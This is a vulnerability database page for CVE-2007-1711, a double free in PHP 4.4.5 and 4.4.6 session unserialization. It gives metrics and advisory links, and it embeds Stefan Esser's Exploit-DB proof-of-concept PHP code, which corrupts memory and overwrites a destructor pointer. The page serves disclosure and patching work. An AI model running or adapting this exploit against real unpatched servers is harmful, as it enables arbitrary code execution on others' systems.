CVE-2007-1711 : Detail

CVE-2007-1711

2.22%V3
Network
2007-03-26
23h00 +00:00
2018-10-16
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Double free vulnerability in the unserializer in PHP 4.4.5 and 4.4.6 allows context-dependent attackers to execute arbitrary code by overwriting variables pointing to (1) the GLOBALS array or (2) the session data in _SESSION. NOTE: this issue was introduced when attempting to patch CVE-2007-1701 (MOPB-31-2007).

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 3586

Publication date : 2007-03-26 22h00 +00:00
Author : Stefan Esser
EDB Verified : Yes

<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP 4.4.5/4.4.6 session_decode() Double Free Vulnerability // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); ini_set("session.serialize_handler", "php"); session_start(); $varname = str_repeat("D", 39); $$varname = &$_SESSION; // Trigger the double free session_decode($varname.'|i:0;'); $_________________x = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJ"; $_________________a = array("OneElement"); // Now x and a point to the same memory. Therefore x can be used to modify a // Overwrite pointer to the destructor $_________________x[8*4+0] = chr(0x55); $_________________x[8*4+1] = chr(0x66); $_________________x[8*4+2] = chr(0x77); $_________________x[8*4+3] = chr(0x88); // Trigger the destruction unset($_________________a); ?> # milw0rm.com [2007-03-27]

Products Mentioned

Configuraton 0

Php>>Php >> Version 4.4.5

Php>>Php >> Version 4.4.6

References

http://www.vupen.com/english/advisories/2007/2732
Tags : vdb-entry, x_refsource_VUPEN
http://www.securityfocus.com/bid/23121
Tags : vdb-entry, x_refsource_BID
http://www.debian.org/security/2007/dsa-1283
Tags : vendor-advisory, x_refsource_DEBIAN
http://rhn.redhat.com/errata/RHSA-2007-0154.html
Tags : vendor-advisory, x_refsource_REDHAT
http://security.gentoo.org/glsa/glsa-200705-19.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://secunia.com/advisories/24941
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/25062
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDKSA-2007:087
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/24945
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2007/dsa-1282
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/24924
Tags : third-party-advisory, x_refsource_SECUNIA
http://rhn.redhat.com/errata/RHSA-2007-0155.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/24910
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/25159
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/25445
Tags : third-party-advisory, x_refsource_SECUNIA
http://rhn.redhat.com/errata/RHSA-2007-0163.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/25025
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDKSA-2007:088
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/26235
Tags : third-party-advisory, x_refsource_SECUNIA